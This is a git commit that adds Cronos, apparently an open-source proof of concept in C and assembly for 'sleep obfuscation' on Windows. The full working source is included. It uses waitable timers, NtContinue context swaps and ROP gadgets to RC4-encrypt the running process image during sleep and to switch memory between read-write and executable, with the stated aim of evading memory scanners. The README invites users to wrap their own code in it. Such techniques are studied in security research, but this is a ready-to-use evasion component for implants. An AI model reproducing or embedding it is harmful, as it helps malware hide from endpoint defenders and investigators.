Co-Authored-By: Yxel <47823818+janoglezcampos@users.noreply.github.com>
This commit is contained in:
Ido Veltzman
2022-09-25 10:48:32 +03:00
commit 581e189e2a
11 changed files with 438 additions and 0 deletions
+2
View File
@@ -0,0 +1,2 @@
.vscode
bin/
+25
View File
@@ -0,0 +1,25 @@
BSD 2-Clause License
Copyright (c) 2022, Ido Veltzman, Yxel
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+56
View File
@@ -0,0 +1,56 @@
# Cronos
![c](https://img.shields.io/badge/C-00599C?style=for-the-badge&logo=c&logoColor=white) ![assembly](https://img.shields.io/badge/ASSEMBLY-ED8B00?style=for-the-badge&logo=Assembly&logoColor=white) ![windows](https://img.shields.io/badge/Windows-0078D6?style=for-the-badge&logo=windows&logoColor=white)
## This project was co-authored by
<a href="https://github.com/idov31">![idov31](https://img.shields.io/badge/Idov31-FF1B2D?style=for-the-badge&logo=Idov31&logoColor=white)</a> <a href="https://github.com/janoglezcampos">![YXEL](https://img.shields.io/badge/YXEL-7D4698?style=for-the-badge&logo=YXEL&logoColor=white)</a>
## Description
PoC for a new sleep obfuscation technique (based on [Ekko](https://github.com/Cracked5pider/Ekko)) leveraging waitable timers to RC4 encrypt the current process and change the permissions from RW to RX to evade memory scanners.
A more detailed explanation will be available in the blog post (COMING SOON).
![POC](img/poc.png)
## Usage
To use it, all you have to do is to include Cronos in your project and use it like so:
```c
#include "Cronos.h"
int main() {
int timesToExecute = 1337;
int seconds = 10;
for (int i = 0; i < timesToExecute; i++) {
CronosSleep(seconds);
// YOUR CODE HERE!
}
}
```
## Setup
To compile it you will need:
- [NASM](https://www.nasm.us/)
- [make](https://stackoverflow.com/questions/32127524/how-to-install-and-use-make-in-windows)
- [VisualStudio Compiler](https://developer.microsoft.com/en-US/windows/downloads/windows-sdk/)
After you have all of the above, navigate to the project's directory and build it with the makefile, the EXE will be in the bin directory.
## Contributors
Thanks a lot to those people that contributed to this project:
- [Orca](https://github.com/ORCx41)
## Resources
- [Ekko](https://github.com/Cracked5pider/Ekko)
- [DeathSleep](https://github.com/janoglezcampos/DeathSleep)
- [Waitable Timers](https://learn.microsoft.com/en-us/windows/win32/sync/using-a-waitable-timer-with-an-asynchronous-procedure-call)
+29
View File
@@ -0,0 +1,29 @@
#ifndef CRONUS_H
#define CRONUS_H
#include <stdio.h>
#include <windows.h>
// Macros
#define TIMER_SLEEP 2000
#define InitializeTimerMs(ft, sec) \
{ \
(ft)->HighPart = (DWORD)(((ULONGLONG) - ((sec) * 1000 * 10 * 1000)) >> 32); \
(ft)->LowPart = (DWORD)(((ULONGLONG) - ((sec) * 1000 * 10 * 1000)) & 0xffffffff); \
}
// Struct definitions.
typedef struct _CRYPT_BUFFER {
DWORD Length;
DWORD MaximumLength;
PVOID Buffer;
} CRYPT_BUFFER, *PCRYPT_BUFFER, DATA_KEY, *PDATA_KEY, CLEAR_DATA, * PCLEAR_DATA, CYPHER_DATA, * PCYPHER_DATA;
// Functions.
typedef NTSTATUS(WINAPI* tSystemFunction032)(PCRYPT_BUFFER pData, PDATA_KEY pKey);
extern void QuadSleep(PVOID, PVOID, PVOID, PVOID);
void CronosSleep(int ticks);
#endif
+15
View File
@@ -0,0 +1,15 @@
#ifndef UTILS_H
#define UTILS_H
#include "Cronos.h"
#include <psapi.h>
#define SIZE_MODULE_LIST 2
#define MAX_MODULE_NAME 100
BOOL bCompare (const BYTE *pData, const BYTE *bMask, const char *szMask);
DWORD_PTR findPattern (DWORD_PTR dwAddress, DWORD dwLen, PBYTE bMask, PCHAR szMask);
DWORD_PTR findInModule (LPCSTR moduleName, PBYTE bMask, PCHAR szMask);
PVOID findGadget (PBYTE hdrParserFuncB, PCHAR hdrParserFunctMask);
#endif
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 204 KiB

+21
View File
@@ -0,0 +1,21 @@
CC = cl
ASM_IN = src/asm/rop.asm
ASM_OUT = bin/rop.obj
HEADERS = headers
BIN_FOLDER = bin
BIN_NAME = Cronos.exe
all: clean compile_asm compile clean_obj
compile_asm:
nasm -f win64 $(ASM_IN) -o bin/rop.obj
compile:
$(CC) src/*.c $(ASM_OUT) /I $(HEADERS) /Fo:$(BIN_FOLDER)\ /Fe: $(BIN_FOLDER)\$(BIN_NAME)
clean_obj:
del /Q $(BIN_FOLDER)\*.obj
clean:
del /Q $(BIN_FOLDER)\*
+148
View File
@@ -0,0 +1,148 @@
#include "Cronos.h"
#include "Utils.h"
void CronosSleep(int sleepTime) {
HANDLE hProtectionRWTimer;
HANDLE hProtectionRWXTimer;
HANDLE hEncryptionTimer;
HANDLE hDecryptionTimer;
HANDLE hDummyThreadTimer;
LARGE_INTEGER protectionRWDueTime;
LARGE_INTEGER protectionRWXDueTime;
LARGE_INTEGER encryptionDueTime;
LARGE_INTEGER decryptionDueTime;
LARGE_INTEGER dummyDueTime;
PVOID rcxGadget;
PVOID rdxGadget;
PVOID shadowFixerGadget;
CONTEXT ctxDummyThread = { 0 };
CONTEXT ctxProtectionRW = { 0 };
CONTEXT ctxProtectionRWX = { 0 };
CONTEXT ctxEncryption = { 0 };
CONTEXT ctxDecryption = { 0 };
PVOID NtContinue = NULL;
tSystemFunction032 SystemFunction032 = NULL;
PVOID ImageBase = NULL;
DWORD ImageSize = 0;
DWORD oldProtect = 0;
CRYPT_BUFFER Image = { 0 };
DATA_KEY Key = { 0 };
CHAR keyBuffer[16] = { 0x31, 0x31, 0x31, 0x31, 0x31, 0x31, 0x31, 0x31, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18 };
// Load systemfunction032.
HMODULE hAdvapi32 = LoadLibraryA("Advapi32.dll");
HMODULE hNtdll = GetModuleHandleA("Ntdll.dll");
if (hAdvapi32 == 0 || hNtdll == 0)
return;
SystemFunction032 = (tSystemFunction032) GetProcAddress(hAdvapi32, "SystemFunction032");
NtContinue = GetProcAddress(hNtdll, "NtContinue");
// Getting the image base.
ImageBase = GetModuleHandleA(NULL);
ImageSize = ((PIMAGE_NT_HEADERS)((DWORD_PTR)ImageBase + ((PIMAGE_DOS_HEADER)ImageBase)->e_lfanew))->OptionalHeader.SizeOfImage;
// Initializing the image and key for SystemFunction032.
Key.Buffer = keyBuffer;
Key.Length = Key.MaximumLength = 16;
Image.Buffer = ImageBase;
Image.Length = Image.MaximumLength = ImageSize;
// Creating the waitable timers.
hProtectionRWTimer = CreateWaitableTimerW(NULL, TRUE, L"ProtectionRWTimer");
hProtectionRWXTimer = CreateWaitableTimerW(NULL, TRUE, L"ProtectionRWXTimer");
hEncryptionTimer = CreateWaitableTimerW(NULL, TRUE, L"EncryptionTimer");
hDecryptionTimer = CreateWaitableTimerW(NULL, TRUE, L"DecryptionTimer");
hDummyThreadTimer = CreateWaitableTimerW(NULL, TRUE, L"DummyTimer");
if (hProtectionRWTimer == 0 || hProtectionRWXTimer == 0 ||
hEncryptionTimer == 0 || hDecryptionTimer == 0 || hDummyThreadTimer == 0) {
printf("[ - ] Failed to create waitable timers: %d", GetLastError());
FreeLibrary(hAdvapi32);
return;
}
InitializeTimerMs(&dummyDueTime, 0);
// Capture apc context.
if (!SetWaitableTimer(hDummyThreadTimer, &dummyDueTime, 0, (PTIMERAPCROUTINE) RtlCaptureContext, &ctxDummyThread, FALSE)) {
printf("[ - ] Failed to capture context: %d", GetLastError());
goto CleanUp;
}
SleepEx(INFINITE, TRUE);
// Creating the contexts.
memcpy(&ctxProtectionRW, &ctxDummyThread, sizeof(CONTEXT));
memcpy(&ctxEncryption, &ctxDummyThread, sizeof(CONTEXT));
memcpy(&ctxDecryption, &ctxDummyThread, sizeof(CONTEXT));
memcpy(&ctxProtectionRWX, &ctxDummyThread, sizeof(CONTEXT));
// VirtualProtect( ImageBase, ImageSize, PAGE_READWRITE, &OldProtect );
ctxProtectionRW.Rsp -= (8 + 0x150);
ctxProtectionRW.Rip = (DWORD_PTR) VirtualProtect;
ctxProtectionRW.Rcx = (DWORD_PTR) ImageBase;
ctxProtectionRW.Rdx = ImageSize;
ctxProtectionRW.R8 = PAGE_READWRITE;
ctxProtectionRW.R9 = (DWORD_PTR) &oldProtect;
ctxEncryption.Rsp -= (8 + 0xF0);
ctxEncryption.Rip = (DWORD_PTR) SystemFunction032;
ctxEncryption.Rcx = (DWORD_PTR) &Image;
ctxEncryption.Rdx = (DWORD_PTR) &Key;
ctxDecryption.Rsp -= (8 + 0x90);
ctxDecryption.Rip = (DWORD_PTR) SystemFunction032;
ctxDecryption.Rcx = (DWORD_PTR) &Image;
ctxDecryption.Rdx = (DWORD_PTR) &Key;
ctxProtectionRWX.Rsp -= (8 + 0x30);
ctxProtectionRWX.Rip = (DWORD_PTR) VirtualProtect;
ctxProtectionRWX.Rcx = (DWORD_PTR) ImageBase;
ctxProtectionRWX.Rdx = ImageSize;
ctxProtectionRWX.R8 = PAGE_EXECUTE_READWRITE;
ctxProtectionRWX.R9 = (DWORD_PTR) &oldProtect;
InitializeTimerMs(&protectionRWDueTime, 0 );
InitializeTimerMs(&encryptionDueTime, 1 );
InitializeTimerMs(&decryptionDueTime, sleepTime-1 );
InitializeTimerMs(&protectionRWXDueTime, sleepTime);
// Getting the gadgets for the sleepex rop.
rcxGadget = findGadget((PBYTE) "\x59\xC3", "xx");
rdxGadget = findGadget((PBYTE) "\x5A\xC3", "xx");
shadowFixerGadget = findGadget((PBYTE) "\x48\x83\xC4\x20\x5F\xC3", "xxxxxx");
if(rcxGadget == 0 || rdxGadget == 0 || shadowFixerGadget == 0) {
printf("[!] Error finding gadget\n");
goto CleanUp;
}
// Setting the timers.
if (!SetWaitableTimer(hDecryptionTimer, &decryptionDueTime, 0, NtContinue, &ctxDecryption, FALSE) ||
!SetWaitableTimer(hProtectionRWXTimer, &protectionRWXDueTime, 0, NtContinue, &ctxProtectionRWX, FALSE) ||
!SetWaitableTimer(hProtectionRWTimer, &protectionRWDueTime, 0, NtContinue, &ctxProtectionRW, FALSE) ||
!SetWaitableTimer(hEncryptionTimer, &encryptionDueTime, 0, NtContinue, &ctxEncryption, FALSE))
{
printf("[ - ] Failed to SetWaitableTimer: %d", GetLastError());
goto CleanUp;
}
// Executing the code.
QuadSleep(rcxGadget, rdxGadget, shadowFixerGadget, (PVOID) SleepEx);
CleanUp:
CloseHandle(hDummyThreadTimer);
CloseHandle(hDecryptionTimer);
CloseHandle(hProtectionRWXTimer);
CloseHandle(hProtectionRWTimer);
CloseHandle(hEncryptionTimer);
FreeLibrary(hAdvapi32);
}
+9
View File
@@ -0,0 +1,9 @@
#include "Cronos.h"
int main() {
for (int i = 0; i < 4; i++) {
printf("\n[ + ] Sleeping\n");
CronosSleep(10);
printf("[ + ] Code executed!\n");
}
}
+74
View File
@@ -0,0 +1,74 @@
#include "Utils.h"
BOOL bCompare(const BYTE *pData, const BYTE *bMask, const char *szMask)
{
for (; *szMask; ++szMask, ++pData, ++bMask)
if (*szMask == 'x' && *pData != *bMask)
return FALSE;
return TRUE;
}
DWORD_PTR findPattern(DWORD_PTR dwAddress, DWORD dwLen, PBYTE bMask, PCHAR szMask)
{
for (DWORD i = 0; i < dwLen; i++)
if (bCompare((PBYTE)(dwAddress + i), bMask, szMask))
return (DWORD_PTR)(dwAddress + i);
return 0;
}
DWORD_PTR findInModule(LPCSTR moduleName, PBYTE bMask, PCHAR szMask)
{
PIMAGE_DOS_HEADER ImageBase = (PIMAGE_DOS_HEADER)GetModuleHandleA(moduleName);
PIMAGE_NT_HEADERS imageNTHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)ImageBase + ImageBase->e_lfanew);
DWORD_PTR section_offset = (DWORD_PTR)ImageBase + ImageBase->e_lfanew + sizeof(IMAGE_NT_HEADERS);
PIMAGE_SECTION_HEADER text_section = (PIMAGE_SECTION_HEADER)(section_offset);
DWORD_PTR dwAddress = findPattern((DWORD_PTR)ImageBase + text_section->VirtualAddress, text_section->SizeOfRawData, bMask, szMask);
return dwAddress;
}
PVOID findGadget(PBYTE hdrParserFuncB, PCHAR hdrParserFunctMask)
{
HANDLE hProcess;
BOOL result;
HMODULE *moduleList;
DWORD bytesNeeded;
DWORD nModules = 0;
LPSTR moduleName = NULL;
DWORD_PTR ptr = 0;
// PBYTE hdrParserFuncB = (PBYTE)"\x48\x89\x22\xc3";
hProcess = GetCurrentProcess();
moduleList = malloc(SIZE_MODULE_LIST * sizeof(HMODULE));
result = EnumProcessModules(hProcess, moduleList, SIZE_MODULE_LIST * sizeof(HMODULE), &bytesNeeded);
if (bytesNeeded > SIZE_MODULE_LIST * sizeof(HMODULE))
{
moduleList = realloc(moduleList, bytesNeeded);
result = EnumProcessModules(hProcess, moduleList, bytesNeeded, &bytesNeeded);
}
if (!result)
goto end;
for (int iModule = 1; iModule < (bytesNeeded / sizeof(HMODULE)); iModule++)
{
moduleName = malloc(MAX_MODULE_NAME * sizeof(CHAR));
if (GetModuleFileNameExA(hProcess, moduleList[iModule], moduleName, MAX_MODULE_NAME * sizeof(CHAR)) == 0)
goto end;
ptr = findInModule(moduleName, hdrParserFuncB, hdrParserFunctMask);
if (ptr)
{
break;
}
}
end:
if (moduleList)
free(moduleList);
if (moduleName)
free(moduleName);
if (hProcess)
CloseHandle(hProcess);
return (PVOID)ptr;
}
+59
View File
@@ -0,0 +1,59 @@
[BITS 64]
GLOBAL QuadSleep
EXTERN SleepEx
[SECTION .text]
QuadSleep:
sub rsp, 0x28 ;0x28
mov r10, end
push r10 ;0x30
push r9 ;0x38
mov r10, 0xFFFFFFFF
push r10 ;first arg ;0x40
push rcx ;0x48
mov r10, 1
push r10 ;second arg ;0x50
push rdx ;0x58
lea r10, [rdx + 1]
push r10 ;0x60
sub rsp, 0x28 ;0x88
push r8 ;0x90
push r9 ;0x98
mov r10, 0xFFFFFFFF
push r10 ;first arg ;0xA0
push rcx ;0xA8
mov r10, 1
push r10 ;second arg ;0xB0
push rdx ;0xB8
lea r10, [rdx + 1]
push r10 ;0xC0
sub rsp, 0x28 ;0xE8
push r8 ;0xF0
push r9 ;0xF8
mov r10, 0xFFFFFFFF
push r10 ;first arg ;0x100
push rcx ;0x108
mov r10, 1
push r10 ;second arg ;0x110
push rdx ;0x118
lea r10, [rdx + 1]
push r10 ;0x120
sub rsp, 0x28 ;0x148
push r8 ;0x150
mov rcx, 0xFFFFFFFF ;first arg
mov rdx, 1 ;second arg
jmp r9
end:
add rsp, 0x28
ret